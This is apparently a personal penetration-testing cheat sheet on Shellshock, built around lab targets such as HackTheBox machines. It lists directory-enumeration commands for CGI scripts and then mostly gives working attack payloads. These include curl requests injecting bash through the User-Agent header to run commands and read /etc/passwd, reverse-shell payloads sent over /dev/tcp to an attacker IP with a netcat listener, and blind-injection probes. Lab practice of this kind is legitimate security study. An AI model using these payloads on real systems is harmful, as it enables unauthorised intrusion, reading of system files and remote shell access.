Shellshock

Finding Shellshock

• /cgi-sys

• /cgi-mod

• /cgi-bin

> dirb http://10.129.88.173
    .. http://10.129.88.173/cgi-bin/        ..found/forbidden
    .. http://10.129.88.173/server-status/  ..found/forbidden

> dirb http://10.129.88.173/cgi-bin/ -X .sh
> dirb http://10.129.88.173/cgi-bin/ -X .sh,.php,.cgi,.pl,.py 
    .. http://10.129.88.173/cgi-bin/user.sh   ..found!

nmap 
didnt help at all:
> nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 10.129.88.173

try this next time
nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/vulnscript.sh 10.x.x.x


gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56 -f 
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56/cgi-bin/ -x sh,cgi,pl,py,php

-f: flag appends / to end of directory 
-x: file extensions to search for

Exploiting Shellshock

nc -nvlp 4444

User-Agent: () { :; }; /bin/bash -c 'ping -c 3 $MyIP:4444'


curl -H 'User-Agent: () { :; }; /bin/bash -c 'ping -c 3 $MyIP:4444'' http://$IP:10000/session_login.cgi
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'whoami'" http://$IP/cgi-bin/user.sh
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://$IP/cgi-bin/user.sh
curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/$MyIP/4444 0>&1" http://$IP/cgi-bin/user.sh
nc -nvlp 4444  ..Connected!

Blind Shellshock

• CGI might be vulnerable, even if your scan didnt find report it

• 'searchsploit webmin' .. Results with 'cgi' - might be vulnerable

• Find the cgi page, like 'session_login.cgi'

• Might be hiding on 'view source'

• Send it through burp/repeater for the injection

• REF: beephtb

User-Agent:
() { :; };/bin/echo hello   ..no results, may still be a blind injection
() { :; }; sleep 10         ..if it sleeps, it is vuln
() { :; }; bash -i >& /dev/tcp/10.10.14.73/4444 0>&1

nc -nvlp 4444  ..Connected!